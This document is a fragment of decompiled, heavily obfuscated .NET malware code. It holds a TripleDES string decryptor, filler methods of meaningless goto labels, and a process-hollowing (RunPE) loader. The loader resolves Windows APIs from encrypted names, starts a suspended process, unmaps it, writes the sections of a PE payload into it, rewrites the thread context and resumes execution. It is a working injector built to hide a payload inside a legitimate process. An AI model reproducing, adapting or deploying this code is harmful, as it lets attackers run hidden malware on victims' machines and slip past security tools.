byte[] numArray = (byte[]) NewLateBinding.LateGet((object) new MD5CryptoServiceProvider(), (System.Type) null, "ComputeHash", new object[1]
{
(object) Encoding.UTF8.GetBytes(ÎæC1oºgZßE̪òj4ÕpC7ôºgXµÂ9áªä)
}, (string[]) null, (System.Type[]) null, (bool[]) null);
object Instance = (object) new TripleDESCryptoServiceProvider();
NewLateBinding.LateSet(Instance, (System.Type) null, "Key", new object[1]
{
(object) numArray
}, (string[]) null, (System.Type[]) null);
NewLateBinding.LateSet(Instance, (System.Type) null, "Mode", new object[1]
{
(object) CipherMode.ECB
}, (string[]) null, (System.Type[]) null);
NewLateBinding.LateSet(Instance, (System.Type) null, "Padding", new object[1]
{
(object) PaddingMode.PKCS7
}, (string[]) null, (System.Type[]) null);
return Encoding.UTF8.GetString(((ICryptoTransform) NewLateBinding.LateGet(Instance, (System.Type) null, "CreateDecryptor", new object[0], (string[]) null, (System.Type[]) null, (bool[]) null)).TransformFinalBlock(inputBuffer, 0, inputBuffer.Length));
}
public static object ÿo1ÖZºªGýc5ÏPÓµ8àæª0iPÄDùjÃ7µ(bool TØæaª8µ9SËm, byte ByValº)
{
label_0:
int num1;
int num2;
try
{
ProjectData.ClearProjectError();
num1 = -2;
label_1:
int num3 = 2;
label_2:
num3 = 3;
label_3:
num3 = 4;
label_4:
num3 = 5;
label_5:
num3 = 6;
label_6:
num3 = 7;
label_7:
num3 = 8;
label_8:
num3 = 9;
goto label_15;
label_10:
num2 = num3;
switch (num1 > -2 ? num1 : 1)
{
case 1:
int num4 = num2 + 1;
num2 = 0;
switch (num4)
{
case 1:
goto label_0;
case 2:
goto label_1;
case 3:
goto label_2;
case 4:
goto label_3;
case 5:
goto label_4;
case 6:
goto label_5;
case 7:
goto label_6;
case 8:
goto label_7;
case 9:
goto label_8;
case 10:
goto label_15;
}
break;
}
}
catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0)
{
ProjectData.SetProjectError(ex);
goto label_10;
}
throw ProjectData.CreateProjectError(-2146828237);
label_15:
object obj1;
object obj2 = obj1;
if (num2 == 0)
return obj2;
ProjectData.ClearProjectError();
return obj2;
}
public static object Jصëg9ÿR6xºÀHªõ1àxª6DÄÔèQºr3Z(bool x6ØüªRÔY0zø, byte ByValîµÈa8K3iýPºÚ)
{
label_0:
int num1;
int num2;
try
{
ProjectData.ClearProjectError();
num1 = -2;
label_1:
int num3 = 2;
label_2:
num3 = 3;
label_3:
num3 = 4;
label_4:
num3 = 5;
label_5:
num3 = 6;
label_6:
num3 = 7;
label_7:
num3 = 8;
label_8:
num3 = 9;
label_9:
num3 = 10;
goto label_16;
label_11:
num2 = num3;
switch (num1 > -2 ? num1 : 1)
{
case 1:
int num4 = num2 + 1;
num2 = 0;
switch (num4)
{
case 1:
goto label_0;
case 2:
goto label_1;
case 3:
goto label_2;
case 4:
goto label_3;
case 5:
goto label_4;
case 6:
goto label_5;
case 7:
goto label_6;
case 8:
goto label_7;
case 9:
goto label_8;
case 10:
goto label_9;
case 11:
goto label_16;
}
break;
}
}
catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0)
{
ProjectData.SetProjectError(ex);
goto label_11;
}
throw ProjectData.CreateProjectError(-2146828237);
label_16:
object obj1;
object obj2 = obj1;
if (num2 == 0)
return obj2;
ProjectData.ClearProjectError();
return obj2;
}
public static object Þnå4Jµ7Nͺûrùg3ÚMªXÇwƒªÖ9QibT6µíÄ(bool ªá6ÑWxܺëZo7ƒË8µ, byte ByValXÄîd)
{
label_0:
int num1;
int num2;
try
{
ProjectData.ClearProjectError();
num1 = -2;
label_1:
int num3 = 2;
label_2:
num3 = 3;
label_3:
num3 = 4;
label_4:
num3 = 5;
label_5:
num3 = 6;
label_6:
num3 = 7;
label_7:
num3 = 8;
label_8:
num3 = 9;
label_9:
num3 = 10;
label_10:
num3 = 11;
label_11:
num3 = 12;
label_12:
num3 = 13;
label_13:
num3 = 14;
label_14:
num3 = 15;
label_15:
num3 = 16;
goto label_22;
label_17:
num2 = num3;
switch (num1 > -2 ? num1 : 1)
{
case 1:
int num4 = num2 + 1;
num2 = 0;
switch (num4)
{
case 1:
goto label_0;
case 2:
goto label_1;
case 3:
goto label_2;
case 4:
goto label_3;
case 5:
goto label_4;
case 6:
goto label_5;
case 7:
goto label_6;
case 8:
goto label_7;
case 9:
goto label_8;
case 10:
goto label_9;
case 11:
goto label_10;
case 12:
goto label_11;
case 13:
goto label_12;
case 14:
goto label_13;
case 15:
goto label_14;
case 16:
goto label_15;
case 17:
goto label_22;
}
break;
}
}
catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0)
{
ProjectData.SetProjectError(ex);
goto label_17;
}
throw ProjectData.CreateProjectError(-2146828237);
label_22:
object obj1;
object obj2 = obj1;
if (num2 == 0)
return obj2;
ProjectData.ClearProjectError();
return obj2;
}
public static object yÎSîª5µAb8ôßõpÕD4ºÂºoïE3ûFµ6ÞþiôzÀª5QÊ(int SÔªæo6º, byte ByValµ)
{
label_0:
int num1;
int num2;
try
{
ProjectData.ClearProjectError();
num1 = -2;
label_1:
int num3 = 2;
label_2:
num3 = 3;
label_3:
num3 = 4;
label_4:
num3 = 5;
label_5:
num3 = 6;
label_6:
num3 = 7;
label_7:
num3 = 8;
label_8:
num3 = 9;
label_9:
num3 = 10;
label_10:
num3 = 11;
label_11:
num3 = 12;
label_12:
num3 = 13;
label_13:
num3 = 14;
label_14:
num3 = 15;
label_15:
num3 = 16;
label_16:
num3 = 17;
label_17:
num3 = 18;
label_18:
num3 = 19;
label_19:
num3 = 20;
label_20:
num3 = 21;
label_21:
num3 = 22;
label_22:
num3 = 23;
label_23:
num3 = 24;
label_24:
num3 = 25;
label_25:
num3 = 26;
label_26:
num3 = 27;
label_27:
num3 = 28;
label_28:
num3 = 29;
label_29:
num3 = 30;
label_30:
num3 = 31;
label_31:
num3 = 32;
label_32:
num3 = 33;
label_33:
num3 = 34;
label_34:
num3 = 35;
label_35:
num3 = 36;
label_36:
num3 = 37;
label_37:
num3 = 38;
label_38:
num3 = 39;
label_39:
num3 = 40;
label_40:
num3 = 41;
label_41:
num3 = 42;
label_42:
num3 = 43;
label_43:
num3 = 44;
label_44:
num3 = 45;
label_45:
num3 = 46;
label_46:
num3 = 47;
goto label_53;
label_48:
num2 = num3;
switch (num1 > -2 ? num1 : 1)
{
case 1:
int num4 = num2 + 1;
num2 = 0;
switch (num4)
{
case 1:
goto label_0;
case 2:
goto label_1;
case 3:
goto label_2;
case 4:
goto label_3;
case 5:
goto label_4;
case 6:
goto label_5;
case 7:
goto label_6;
case 8:
goto label_7;
case 9:
goto label_8;
case 10:
goto label_9;
case 11:
goto label_10;
case 12:
goto label_11;
case 13:
goto label_12;
case 14:
goto label_13;
case 15:
goto label_14;
case 16:
goto label_15;
case 17:
goto label_16;
case 18:
goto label_17;
case 19:
goto label_18;
case 20:
goto label_19;
case 21:
goto label_20;
case 22:
goto label_21;
case 23:
goto label_22;
case 24:
goto label_23;
case 25:
goto label_24;
case 26:
goto label_25;
case 27:
goto label_26;
case 28:
goto label_27;
case 29:
goto label_28;
case 30:
goto label_29;
case 31:
goto label_30;
case 32:
goto label_31;
case 33:
goto label_32;
case 34:
goto label_33;
case 35:
goto label_34;
case 36:
goto label_35;
case 37:
goto label_36;
case 38:
goto label_37;
case 39:
goto label_38;
case 40:
goto label_39;
case 41:
goto label_40;
case 42:
goto label_41;
case 43:
goto label_42;
case 44:
goto label_43;
case 45:
goto label_44;
case 46:
goto label_45;
case 47:
goto label_46;
case 48:
goto label_53;
}
break;
}
}
catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0)
{
ProjectData.SetProjectError(ex);
goto label_48;
}
throw ProjectData.CreateProjectError(-2146828237);
label_53:
object obj1;
object obj2 = obj1;
if (num2 == 0)
return obj2;
ProjectData.ClearProjectError();
return obj2;
}
[DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
public static extern IntPtr LoadLibraryA([MarshalAs(UnmanagedType.VBByRefStr)] ref string ª1ÍaéQócJÑ3µbZ9çºÇºïSÆa3Lèµ);
[DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
public static extern IntPtr GetProcAddress(
IntPtr Fºéc2Áªÿ9ÒaGEiµ4ËæÞ5Ýëµ8Paj0ÀAºå1ªcÁù,
[MarshalAs(UnmanagedType.VBByRefStr)] ref string name);
public static Æ9µPâymÅM6ºæë4ªDcÀÁTszºLÒñ4Ñø6Q ºjÐYë8Ç5eªKúw4ÙZöª<Æ9µPâymÅM6ºæë4ªDcÀÁTszºLÒñ4Ñø6Q>(
string ã2ºAaõw0ØTïªãÖH0i2oºø,
string Cå1kºÈºÈác0BùLÚµs5Zª)
{
return (Æ9µPâymÅM6ºæë4ªDcÀÁTszºLÒñ4Ñø6Q) Marshal.GetDelegateForFunctionPointer(ûnµÈ1KPº9üÝrçÛ5ºL.GetProcAddress(ûnµÈ1KPº9üÝrçÛ5ºL.LoadLibraryA(ref ã2ºAaõw0ØTïªãÖH0i2oºø), ref Cå1kºÈºÈác0BùLÚµs5Zª), typeof (Æ9µPâymÅM6ºæë4ªDcÀÁTszºLÒñ4Ñø6Q));
}
public static void öªÔ7RqÉeSðº0ÿKÅ6dµ9ÎàªÝw1BX(byte[] EàÈe6ª7gºßäQúÊpºä0P)
{
string empty = string.Empty;
string str = !Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles).Contains(ûnµÈ1KPº9üÝrçÛ5ºL.Æn9Kíº5ÝõRb4åfÛªXµ0ö("OyQ3hdWFdTQ=", "Nf16Y")) ? Application.ExecutablePath : Conversions.ToString(Environment.SystemDirectory[0]) + ûnµÈ1KPº9üÝrçÛ5ºL.Æn9Kíº5ÝõRb4åfÛªXµ0ö("/45Iy66F2n9at5NDN4Ye4UtZWZQxNL1SgzTOYJZwVdx9FLZBOAPYzFEi6ByXJDaPgXe1LsiIdQs=", "Le48BsQq59Szb");
int int32 = BitConverter.ToInt32(EàÈe6ª7gºßäQúÊpºä0P, 60);
int int16 = (int) BitConverter.ToInt16(EàÈe6ª7gºßäQúÊpºä0P, int32 + 6);
IntPtr num1 = new IntPtr(BitConverter.ToInt32(EàÈe6ª7gºßäQúÊpºä0P, int32 + 84));
byte[] È8Tüºq3BiÕë1gDµêºL7 = new byte[68];
IntPtr[] ãÚ9qµXz7ªÄJëÅïiG8º2FµÎrîÉ0Qaºý8XÞùx1ǵYÅèq = new IntPtr[4];
IntPtr num2;
if (!ûnµÈ1KPº9üÝrçÛ5ºL.ºjÐYë8Ç5eªKúw4ÙZöª<ûnµÈ1KPº9üÝrçÛ5ºL.ãµYØ8q6rºBÜçòM4ªiÄ5j1âB>(ûnµÈ1KPº9üÝrçÛ5ºL.Æn9Kíº5ÝõRb4åfÛªXµ0ö("/+PIHeeWUyPj1QHB7tYHOg==", "Yz5d4N7"), ûnµÈ1KPº9üÝrçÛ5ºL.Æn9Kíº5ÝõRb4åfÛªXµ0ö("hVWlxgJcMplUHzknHprL6g==", "b9H8M"))((string) null, new StringBuilder(str), num2, num2, false, 4, num2, (string) null, È8Tüºq3BiÕë1gDµêºL7, ãÚ9qµXz7ªÄJëÅïiG8º2FµÎrîÉ0Qaºý8XÞùx1ǵYÅèq))
return;
uint[] numArray = new uint[179];
numArray[0] = 65538U;
IntPtr CyöÔ1ªàºÊ8º7c;
IntPtr ϪP8ýp4FûoÚºétØ5µMbÔNîºw5ÄäN3µþfWÃE;
if (ûnµÈ1KPº9üÝrçÛ5ºL.ºjÐYë8Ç5eªKúw4ÙZöª<ûnµÈ1KPº9üÝrçÛ5ºL.wºå3WÇ2õEªßbMÔýHdªÔà3õä>(ûnµÈ1KPº9üÝrçÛ5ºL.Æn9Kíº5ÝõRb4åfÛªXµ0ö("hEp4YP/9MVQVIA2Ury47Mg==", "Wx0j9"), ûnµÈ1KPº9üÝrçÛ5ºL.Æn9Kíº5ÝõRb4åfÛªXµ0ö("p2v1EQyWQh47HzNBXFroRkRhBz8MDkgS", "Lb0e7KQj8a1"))(ãÚ9qµXz7ªÄJëÅïiG8º2FµÎrîÉ0Qaºý8XÞùx1ǵYÅèq[1], numArray) && ûnµÈ1KPº9üÝrçÛ5ºL.ºjÐYë8Ç5eªKúw4ÙZöª<ûnµÈ1KPº9üÝrçÛ5ºL.ª0ÆäLspW3ºö˃fÔ2µJ6XµbãHü8ÏpµÞ4gíºWyC>(ûnµÈ1KPº9üÝrçÛ5ºL.Æn9Kíº5ÝõRb4åfÛªXµ0ö("Oy/fy0LMZlaln6fd2dAB3Q==", "w2TGx8j5HCp9"), ûnµÈ1KPº9üÝrçÛ5ºL.Æn9Kíº5ÝõRb4åfÛªXµ0ö("U9eXyVSvYDvyuMcogcJ5tGLIW83oX4cw", "Fi6c2WAm4w5RCd7"))(ãÚ9qµXz7ªÄJëÅïiG8º2FµÎrîÉ0Qaºý8XÞùx1ǵYÅèq[0], new IntPtr((long) numArray[41] + 8L), ref CyöÔ1ªàºÊ8º7c, new IntPtr(4), ref ϪP8ýp4FûoÚºétØ5µMbÔNîºw5ÄäN3µþfWÃE) && ûnµÈ1KPº9üÝrçÛ5ºL.ºjÐYë8Ç5eªKúw4ÙZöª<ûnµÈ1KPº9üÝrçÛ5ºL.ªÄ3ñgTXkûȵ2oÚºè0LºAöÊd1ýµÂàe8ZJ7oƺûbЪ>(ûnµÈ1KPº9üÝrçÛ5ºL.Æn9Kíº5ÝõRb4åfÛªXµ0ö("DFPVDasUPuE=", "Jy0k1XEs35SbWr"), ûnµÈ1KPº9üÝrçÛ5ºL.Æn9Kíº5ÝõRb4åfÛªXµ0ö("u5G0xVn/1SyiRDpNYGSF2HedfvhW+vW+", "Xp7g3F9Sdf"))(ãÚ9qµXz7ªÄJëÅïiG8º2FµÎrîÉ0Qaºý8XÞùx1ǵYÅèq[0], CyöÔ1ªàºÊ8º7c) == 0U)
{
ûnµÈ1KPº9üÝrçÛ5ºL.ºøLq2ÉÓp7µìæª0iPÄDùjÃ7 éóp7µìæª0iPäDùjÃ7 = ûnµÈ1KPº9üÝrçÛ5ºL.ºjÐYë8Ç5eªKúw4ÙZöª<ûnµÈ1KPº9üÝrçÛ5ºL.ºøLq2ÉÓp7µìæª0iPÄDùjÃ7>(ûnµÈ1KPº9üÝrçÛ5ºL.Æn9Kíº5ÝõRb4åfÛªXµ0ö("Le/7Fjiu/FE8lsW2KbDjfQ==", "s2Z0HwLk38Jj"), ûnµÈ1KPº9üÝrçÛ5ºL.Æn9Kíº5ÝõRb4åfÛªXµ0ö("AyrWn40SIFgNpa9XORtWhg==", "Ft1x5K9D"));
IntPtr æµØ4Wx7êºyÒºö6MxÖCkÂ4ªàgµ = ãÚ9qµXz7ªÄJëÅïiG8º2FµÎrîÉ0Qaºý8XÞùx1ǵYÅèq[0];
IntPtr num3 = new IntPtr(BitConverter.ToInt32(EàÈe6ª7gºßäQúÊpºä0P, int32 + 52));
IntPtr µ8ÞdèX6eéLºÂNª7ÚøpqÿE1úãÚ9qµXz7ªÄJëÅïiG8º = num3;
IntPtr num4 = new IntPtr(BitConverter.ToInt32(EàÈe6ª7gºßäQúÊpºä0P, int32 + 80));
int ȵT0ökKaºëÓ9éEÃ8nªSbµåÌ1àxª6DÄÔèQºr3Zg7 = (int) num4;
IntPtr num5 = éóp7µìæª0iPäDùjÃ7(æµØ4Wx7êºyÒºö6MxÖCkÂ4ªàgµ, µ8ÞdèX6eéLºÂNª7ÚøpqÿE1úãÚ9qµXz7ªÄJëÅïiG8º, (uint) ȵT0ökKaºëÓ9éEÃ8nªSbµåÌ1àxª6DÄÔèQºr3Zg7, 12288U, 64U);
ûnµÈ1KPº9üÝrçÛ5ºL.oºðÅ0FârÃ2GµPÕ3èªpéWªaÔÕ1óXo põ3èªpéWªaÔõ1óXo1 = ûnµÈ1KPº9üÝrçÛ5ºL.ºjÐYë8Ç5eªKúw4ÙZöª<ûnµÈ1KPº9üÝrçÛ5ºL.oºðÅ0FârÃ2GµPÕ3èªpéWªaÔÕ1óXo>(ûnµÈ1KPº9üÝrçÛ5ºL.Æn9Kíº5ÝõRb4åfÛªXµ0ö("wilqwaFsFBy8VrHU3bBBeA==", "Si0k5"), ûnµÈ1KPº9üÝrçÛ5ºL.Æn9Kíº5ÝõRb4åfÛªXµ0ö("MlSr4ZUsba3BEQPQksJENOhBRqTCe+Hw", "k7K3Hfj9F0Wop"));
IntPtr jöTÁ5µÝ2ûºrºÄ7Gådür1 = ãÚ9qµXz7ªÄJëÅïiG8º2FµÎrîÉ0Qaºý8XÞùx1ǵYÅèq[0];
IntPtr ÃÿªHq6kØáº2ú6WÞfµEgÉ1_1 = num5;
byte[] Yoµû0ǪTÚsö3æøcª5TÁqº4ÑÿRµ9Üç1 = EàÈe6ª7gºßäQúÊpºä0P;
int ȵT0ökKaºëÓ9éEÃ8nªSbµåÌ1yÞZûµ5Ç1 = (int) num1;
int num6 = (int) ϪP8ýp4FûoÚºétØ5µMbÔNîºw5ÄäN3µþfWÃE;
ref int local1 = ref num6;
int num7 = põ3èªpéWªaÔõ1óXo1(jöTÁ5µÝ2ûºrºÄ7Gådür1, ÃÿªHq6kØáº2ú6WÞfµEgÉ1_1, Yoµû0ǪTÚsö3æøcª5TÁqº4ÑÿRµ9Üç1, (uint) ȵT0ökKaºëÓ9éEÃ8nªSbµåÌ1yÞZûµ5Ç1, out local1) ? 1 : 0;
ϪP8ýp4FûoÚºétØ5µMbÔNîºw5ÄäN3µþfWÃE = (IntPtr) num6;
bool flag = num7 != 0;
int num8 = int16 - 1;
for (int index = 0; index <= num8; ++index)
{
int[] dst1 = new int[10];
Buffer.BlockCopy((Array) EàÈe6ª7gºßäQúÊpºä0P, int32 + 248 + index * 40, (Array) dst1, 0, 40);
byte[] dst2 = new byte[dst1[4] - 1 + 1];
Buffer.BlockCopy((Array) EàÈe6ª7gºßäQúÊpºä0P, dst1[5], (Array) dst2, 0, dst2.Length);
ûnµÈ1KPº9üÝrçÛ5ºL.oºðÅ0FârÃ2GµPÕ3èªpéWªaÔÕ1óXo põ3èªpéWªaÔõ1óXo2 = ûnµÈ1KPº9üÝrçÛ5ºL.ºjÐYë8Ç5eªKúw4ÙZöª<ûnµÈ1KPº9üÝrçÛ5ºL.oºðÅ0FârÃ2GµPÕ3èªpéWªaÔÕ1óXo>(ûnµÈ1KPº9üÝrçÛ5ºL.Æn9Kíº5ÝõRb4åfÛªXµ0ö("wilqwaFsFBy8VrHU3bBBeA==", "Si0k5"), ûnµÈ1KPº9üÝrçÛ5ºL.Æn9Kíº5ÝõRb4åfÛªXµ0ö("MlSr4ZUsba3BEQPQksJENOhBRqTCe+Hw", "k7K3Hfj9F0Wop"));
IntPtr jöTÁ5µÝ2ûºrºÄ7Gådür2 = ãÚ9qµXz7ªÄJëÅïiG8º2FµÎrîÉ0Qaºý8XÞùx1ǵYÅèq[0];
num4 = new IntPtr(num5.ToInt64() + (long) dst1[3]);
IntPtr ÃÿªHq6kØáº2ú6WÞfµEgÉ1_2 = num4;
byte[] Yoµû0ǪTÚsö3æøcª5TÁqº4ÑÿRµ9Üç2 = dst2;
num3 = new IntPtr(dst2.Length);
int ȵT0ökKaºëÓ9éEÃ8nªSbµåÌ1yÞZûµ5Ç2 = (int) num3;
num6 = (int) ϪP8ýp4FûoÚºétØ5µMbÔNîºw5ÄäN3µþfWÃE;
ref int local2 = ref num6;
int num9 = põ3èªpéWªaÔõ1óXo2(jöTÁ5µÝ2ûºrºÄ7Gådür2, ÃÿªHq6kØáº2ú6WÞfµEgÉ1_2, Yoµû0ǪTÚsö3æøcª5TÁqº4ÑÿRµ9Üç2, (uint) ȵT0ökKaºëÓ9éEÃ8nªSbµåÌ1yÞZûµ5Ç2, out local2) ? 1 : 0;
ϪP8ýp4FûoÚºétØ5µMbÔNîºw5ÄäN3µþfWÃE = (IntPtr) num6;
flag = num9 != 0;
}
ûnµÈ1KPº9üÝrçÛ5ºL.oºðÅ0FârÃ2GµPÕ3èªpéWªaÔÕ1óXo põ3èªpéWªaÔõ1óXo3 = ûnµÈ1KPº9üÝrçÛ5ºL.ºjÐYë8Ç5eªKúw4ÙZöª<ûnµÈ1KPº9üÝrçÛ5ºL.oºðÅ0FârÃ2GµPÕ3èªpéWªaÔÕ1óXo>(ûnµÈ1KPº9üÝrçÛ5ºL.Æn9Kíº5ÝõRb4åfÛªXµ0ö("wilqwaFsFBy8VrHU3bBBeA==", "Si0k5"), ûnµÈ1KPº9üÝrçÛ5ºL.Æn9Kíº5ÝõRb4åfÛªXµ0ö("MlSr4ZUsba3BEQPQksJENOhBRqTCe+Hw", "k7K3Hfj9F0Wop"));
IntPtr jöTÁ5µÝ2ûºrºÄ7Gådür3 = ãÚ9qµXz7ªÄJëÅïiG8º2FµÎrîÉ0Qaºý8XÞùx1ǵYÅèq[0];
num4 = new IntPtr((long) numArray[41] + 8L);
IntPtr ÃÿªHq6kØáº2ú6WÞfµEgÉ1_3 = num4;
byte[] bytes = BitConverter.GetBytes(num5.ToInt32());
num3 = new IntPtr(4);
int ȵT0ökKaºëÓ9éEÃ8nªSbµåÌ1yÞZûµ5Ç3 = (int) num3;
num6 = (int) ϪP8ýp4FûoÚºétØ5µMbÔNîºw5ÄäN3µþfWÃE;
ref int local3 = ref num6;
int num10 = põ3èªpéWªaÔõ1óXo3(jöTÁ5µÝ2ûºrºÄ7Gådür3, ÃÿªHq6kØáº2ú6WÞfµEgÉ1_3, bytes, (uint) ȵT0ökKaºëÓ9éEÃ8nªSbµåÌ1yÞZûµ5Ç3, out local3) ? 1 : 0;
ϪP8ýp4FûoÚºétØ5µMbÔNîºw5ÄäN3µþfWÃE = (IntPtr) num6;
flag = num10 != 0;
numArray[44] = (uint) (num5.ToInt32() + BitConverter.ToInt32(EàÈe6ª7gºßäQúÊpºä0P, int32 + 40));
int num11 = ûnµÈ1KPº9üÝrçÛ5ºL.ºjÐYë8Ç5eªKúw4ÙZöª<ûnµÈ1KPº9üÝrçÛ5ºL.yþÐ7QºWtµøϺçÀY9nÁªmùL>(ûnµÈ1KPº9üÝrçÛ5ºL.Æn9Kíº5ÝõRb4åfÛªXµ0ö("gEmSMt/5PVnogivHNti8IA==", "Mf23HwDd64Pp"), ûnµÈ1KPº9üÝrçÛ5ºL.Æn9Kíº5ÝõRb4åfÛªXµ0ö("dTBJNQTMzldp5mu24PQroJPcfUPKw8/E", "Fn2m3L9AxZq4j7"))(ãÚ9qµXz7ªÄJëÅïiG8º2FµÎrîÉ0Qaºý8XÞùx1ǵYÅèq[1], numArray) ? 1 : 0;
}
int num12 = ûnµÈ1KPº9üÝrçÛ5ºL.ºjÐYë8Ç5eªKúw4ÙZöª<ûnµÈ1KPº9üÝrçÛ5ºL.µÚGyý95eåJºØSÊtæ8ªÞµäTi1çº4ÀcíAÆM5>(ûnµÈ1KPº9üÝrçÛ5ºL.Æn9Kíº5ÝõRb4åfÛªXµ0ö("MNqM+E6jPxSBBkvl6Lu2Sw==", "r1FBw"), ûnµÈ1KPº9üÝrçÛ5ºL.Æn9Kíº5ÝõRb4åfÛªXµ0ö("N5hh0f9lgfysZUvDoSDfKQ==", "f1RJb78XgLn5p6"))(ãÚ9qµXz7ªÄJëÅïiG8º2FµÎrîÉ0Qaºý8XÞùx1ǵYÅèq[1]);
}
[SuppressUnmanagedCodeSecurity]
[return: MarshalAs(UnmanagedType.Bool)]
public delegate bool ãµYØ8q6rºBÜçòM4ªiÄ5j1âB(
string ø0ÃyNºWm8þµÎýAwªÌ6ŵ7jMmëªÍJ,
StringBuilder cÝøE8ºÚ3ªýLyeÒJµ7éªkúbº3WÛcªÁø9F8Dá,
IntPtr CÅ5gøªnQµ6͵8NòmÄnPß6öº,
IntPtr zÄáD4ª9Bþª7,
[MarshalAs(UnmanagedType.Bool)] bool ÄøRsµ69ªãÅyJS3iºÁò4ÿEfåRÜ4µ8º,
int ºìÆK1r2ØWµmæèAd3ªã2ºAaõw,
IntPtr XbÞ5æª3ÁºërAØK8dµƒfÊRÿº38îµZkÄDªwáÂ1,
string æĵ4oFºý9MÝaZªz5ðºùCc3Ù7µØïA,
byte[] È8Tüºq3BiÕë1gDµêºL7,
IntPtr[] ãÚ9qµXz7ªÄJëÅïiG8º2FµÎrîÉ0Qaºý8XÞùx1ǵYÅèq);
[return: MarshalAs(UnmanagedType.Bool)]
public delegate bool wºå3WÇ2õEªßbMÔýHdªÔà3õä(IntPtr Fµ6ÞþiôzÀª5QÊJ8nºøRºíøƪS5o, uint[] ctxt);
public delegate uint ªÄ3ñgTXkûȵ2oÚºè0LºAöÊd1ýµÂàe8ZJ7oƺûbЪ(
IntPtr Õ1óXoªèPµc3çZÕ9P̺èy,
IntPtr Áº6ãSbòQµrÈ24ÃDªëaº9gLÙøYÒfª6ÿK8ºÜGsêø1);
[return: MarshalAs(UnmanagedType.Bool)]
public delegate bool ª0ÆäLspW3ºö˃fÔ2µJ6XµbãHü8ÏpµÞ4gíºWyC(
IntPtr HºÛxõ8ÜcüÄ6LªµjèMÞ7øNÅ0kº,
IntPtr NºíÌs56âµ5ÆrP,
ref IntPtr CyöÔ1ªàºÊ8º7c,
IntPtr º0ãÆrLsQÅ1åµPÿªoÑ4øøtÅ2ª,
ref IntPtr ϪP8ýp4FûoÚºétØ5µMbÔNîºw5ÄäN3µþfWÃE);
public delegate int µÚGyý95eåJºØSÊtæ8ªÞµäTi1çº4ÀcíAÆM5(IntPtr ýºNØ0bsõª5RµnÝEå2oãLª0ÞXÀñdº7);
public delegate IntPtr ºøLq2ÉÓp7µìæª0iPÄDùjÃ7(
IntPtr æµØ4Wx7êºyÒºö6MxÖCkÂ4ªàgµ,
IntPtr µ8ÞdèX6eéLºÂNª7ÚøpqÿE1úãÚ9qµXz7ªÄJëÅïiG8º,
uint ȵT0ökKaºëÓ9éEÃ8nªSbµåÌ1àxª6DÄÔèQºr3Zg7,
uint aµMƒ7ÕëÄm6ºNcªCå5ÚQnàÕ0úEqµèÌe5ªWÅT,
uint oúZî05ªAñjÕßa1µHoíÏDµ9ºJ4ÄâjRÞcà1ª);
public delegate bool oºðÅ0FârÃ2GµPÕ3èªpéWªaÔÕ1óXo(
IntPtr jöTÁ5µÝ2ûºrºÄ7Gådür,
IntPtr ÃÿªHq6kØáº2ú6WÞfµEgÉ1,
byte[] Yoµû0ǪTÚsö3æøcª5TÁqº4ÑÿRµ9Üç,
uint ȵT0ökKaºëÓ9éEÃ8nªSbµåÌ1yÞZûµ5Ç,
out int lpNumberOfBytesWritten);
[return: MarshalAs(UnmanagedType.Bool)]
public delegate bool yþÐ7QºWtµøϺçÀY9nÁªmùL(IntPtr ªðPw6ÍZµÈ8Tüºq, uint[] Û5ºLìdµsåÔA);
}